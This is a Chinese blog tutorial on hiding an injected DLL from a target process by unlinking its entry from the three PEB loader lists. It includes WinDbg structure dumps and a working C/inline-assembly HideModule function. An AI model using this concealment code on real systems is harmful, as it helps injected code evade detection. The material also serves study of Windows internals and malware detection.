Inject集合----DLL隐藏

   有时候我们在对目标进程注入后,并不像让对方发现我们的DLL,也就是为了避免被检查出来,所以我们需要将DLL信息抹去,也就是从PEB中的三根链表中断开存储DLL信息的节点即可。

介绍:

  先看一下PEB结构

 kd> dt nt!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsLegacyProcess  : Pos 2, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 3, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 4, 1 Bit
   +0x003 SpareBits        : Pos 5, 3 Bits
   +0x004 Mutant           : Ptr32 Void
   +0x008 ImageBaseAddress : Ptr32 Void
   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
   +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : Ptr32 Void
   +0x018 ProcessHeap      : Ptr32 Void
 

 在PEB的+0c处,有一个叫Ldr的字段,为什么叫Ldr,其实它是"Loader"的缩写,说到这里,那也就知道了这个字段是和DLL加载有关系的。下来看一下结构体Ptr32 _PEB_LDR_DATA

0: kd> dt nt!_PEB_LDR_DATA
   +0x000 Length           : Uint4B
   +0x004 Initialized      : UChar
   +0x008 SsHandle         : Ptr32 Void
   +0x00c InLoadOrderModuleList : _LIST_ENTRY
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY

   +0x024 EntryInProgress  : Ptr32 Void
   +0x028 ShutdownInProgress : UChar
   +0x02c ShutdownThreadId : Ptr32 Void
 

在其中最重要的就是标红的三根链表了, 

InLoadOrderModuleList; 模块加载顺序
InMemoryOrderModuleList; 模块在内存中的顺序
InInitializationOrderModuleList; 模块初始化装载顺序

 

LIST_ENTRY 结构是一个双向链表

0: kd> dt nt!_LIST_ENTRY
   +0x000 Flink            : Ptr32 _LIST_ENTRY
   +0x004 Blink            : Ptr32 _LIST_ENTRY
 

这个双链表指向进程装载的模块,结构中的每个指针,指向了一个LDR_DATA_TABLE_ENTRY的结构:

 

0: kd> dt nt!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x008 InMemoryOrderLinks : _LIST_ENTRY
   +0x010 InInitializationOrderLinks : _LIST_ENTRY
   +0x018 DllBase          : Ptr32 Void
   +0x01c EntryPoint       : Ptr32 Void
   +0x020 SizeOfImage      : Uint4B
   +0x024 FullDllName      : _UNICODE_STRING
   +0x02c BaseDllName      : _UNICODE_STRING
   +0x034 Flags            : Uint4B
   +0x038 LoadCount        : Uint2B
   +0x03a TlsIndex         : Uint2B
   +0x03c HashLinks        : _LIST_ENTRY
   +0x03c SectionPointer   : Ptr32 Void
   +0x040 CheckSum         : Uint4B
   +0x044 TimeDateStamp    : Uint4B
   +0x044 LoadedImports    : Ptr32 Void
   +0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
   +0x04c PatchInformation : Ptr32 Void
   +0x050 ForwarderLinks   : _LIST_ENTRY
   +0x058 ServiceTagLinks  : _LIST_ENTRY
   +0x060 StaticLinks      : _LIST_ENTRY
   +0x068 ContextInformation : Ptr32 Void
   +0x06c OriginalBase     : Uint4B
   +0x070 LoadTime         : _LARGE_INTEGER
 

 在LDR_DATA_TABLE_ENTRY结构中有标红的两个字段比较重要,可以根据DLLName来判断是否为目标进程,如果是则把当前LIST_ENTRY节点处断开即可。

代码:

void HideModule(char *szModule)
{
	DWORD *PEB = NULL;
	DWORD *Ldr = NULL;
	DWORD *Flink = NULL;
	DWORD *p = NULL;
	DWORD *BaseAddress = NULL;
	DWORD *FullDllName = NULL;

	//定位PEB
	__asm
	{
		//fs位置保存着teb
		//fs:[0x30]位置保存着peb
		mov eax, fs:[0x30]
		mov PEB, eax
	}

	HMODULE hMod = GetModuleHandleA(szModule);

	//得到LDR
	Ldr = *((DWORD **)((unsigned char *)PEB + 0x0c));
	//第一条链表
	Flink = *((DWORD **)((unsigned char *)Ldr + 0x0c));
	p = Flink;

	do
	{
		BaseAddress = *((DWORD **)((unsigned char *)p + 0x18));
		FullDllName = *((DWORD **)((unsigned char *)p + 0x28));

		if ((DWORD*)hMod == BaseAddress)
		{
			**((DWORD **)(p + 1)) = (DWORD)*((DWORD **)p);
			*(*((DWORD **)p) + 1) = (DWORD)*((DWORD **)(p + 1));
			break;
		}

		p = *((DWORD **)p);
	} while (Flink != p);

	Flink = *((DWORD **)((unsigned char *)Ldr + 0x14));
	p = Flink;
	do
	{
		BaseAddress = *((DWORD **)((unsigned char *)p + 0x10));
		FullDllName = *((DWORD **)((unsigned char *)p + 0x20));
		if (BaseAddress == (DWORD *)hMod)
		{
			**((DWORD **)(p + 1)) = (DWORD)*((DWORD **)p);
			*(*((DWORD **)p) + 1) = (DWORD)*((DWORD **)(p + 1));
			break;
		}
		p = *((DWORD **)p);
	} while (Flink != p);

	Flink = *((DWORD **)((unsigned char *)Ldr + 0x1c));
	p = Flink;
	do
	{
		BaseAddress = *((DWORD **)((unsigned char *)p + 0x8));
		FullDllName = *((DWORD **)((unsigned char *)p + 0x18));
		if (BaseAddress == (DWORD *)hMod)
		{
			**((DWORD **)(p + 1)) = (DWORD)*((DWORD **)p);
			*(*((DWORD **)p) + 1) = (DWORD)*((DWORD **)(p + 1));
			break;
		}
		p = *((DWORD **)p);
	} while (Flink != p);
}

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值